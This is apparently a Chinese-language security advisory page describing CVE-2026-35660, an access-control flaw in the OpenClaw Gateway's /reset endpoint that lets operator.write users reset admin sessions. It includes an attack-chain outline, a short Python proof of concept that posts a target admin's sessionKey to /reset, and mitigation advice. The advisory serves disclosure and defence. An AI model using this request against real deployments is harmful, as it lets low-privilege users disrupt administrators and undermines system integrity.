IPBUF安全漏洞报告
English
CVE-2026-35660 CVSS 8.1 高危

CVE-2026-35660 OpenClaw访问控制漏洞导致会话重置

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35660
漏洞类型
访问控制缺失
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

访问控制缺失权限提升OpenClaw会话管理

漏洞概述

OpenClaw在2026.3.23之前的版本中存在一个严重的访问控制不足漏洞。该漏洞位于Gateway代理的/reset端点。由于权限校验逻辑存在缺陷,仅拥有operator.write权限的攻击者即可调用/reset或/new消息,并在请求中携带显式的sessionKey参数。这使得攻击者能够绕过原本需要operator.admin权限的要求,进而重置任意管理员的会话,导致系统完整性和可用性受到严重影响。

技术细节

该漏洞的核心原因在于OpenClaw Gateway代理组件在处理会话重置请求时,未能正确实施最小权限原则。具体而言,/reset接口的设计初衷是允许管理员重置会话,但代码实现中仅校验了请求者是否具备基础的写入权限(operator.write),而未进一步验证操作目标所需的特定管理权限(operator.admin)。攻击者利用这一逻辑缺陷,首先通过合法或非法手段获取一个具有operator.write权限的账户。随后,通过向/reset或/new接口发送特制的数据包,并在其中注入目标管理员的sessionKey,攻击者即可欺骗服务器执行会话重置操作。这种行为绕过了系统的权限隔离机制,使得低权限用户能够干扰高权限用户的会话状态,破坏了系统的完整性与可用性。

攻击链分析

STEP 1
步骤1:权限获取
攻击者获取一个具有operator.write权限的低权限账户凭证。
STEP 2
步骤2:识别端点
攻击者确认Gateway代理上的/reset或/new接口存在,并接受sessionKey参数。
STEP 3
步骤3:构造请求
攻击者使用低权限凭证,构造包含目标管理员sessionKey的POST请求发送至/reset端点。
STEP 4
步骤4:执行攻击
服务器因权限校验缺失,执行重置操作,导致目标管理员会话失效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35660 # This script demonstrates how an attacker with operator.write privileges # can reset an arbitrary admin session by specifying a sessionKey. import requests target_url = "http://target-openclaw-gateway/reset" headers = { "Content-Type": "application/json" } # The attacker's low-privilege token auth_token = "ATTACKER_OPERATOR_WRITE_TOKEN" # The session key of the admin that the attacker wants to reset target_admin_session_key = "TARGET_ADMIN_SESSION_KEY" payload = { "sessionKey": target_admin_session_key } cookies = { "auth": auth_token } try: response = requests.post(target_url, json=payload, headers=headers, cookies=cookies) if response.status_code == 200: print(f"[+] Success: Admin session {target_admin_session_key} has been reset.") else: print(f"[-] Failed: Status code {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.3.23

防御指南

临时缓解措施
建议立即实施网络访问控制,限制对Gateway代理端点的访问权限,仅允许受信任的IP或服务账户调用。在未升级版本前,应严格审查并撤销非必要用户的operator.write权限,确保该权限仅分配给可信人员。同时,监控日志中是否存在针对/reset端点的异常调用或包含外部sessionKey参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表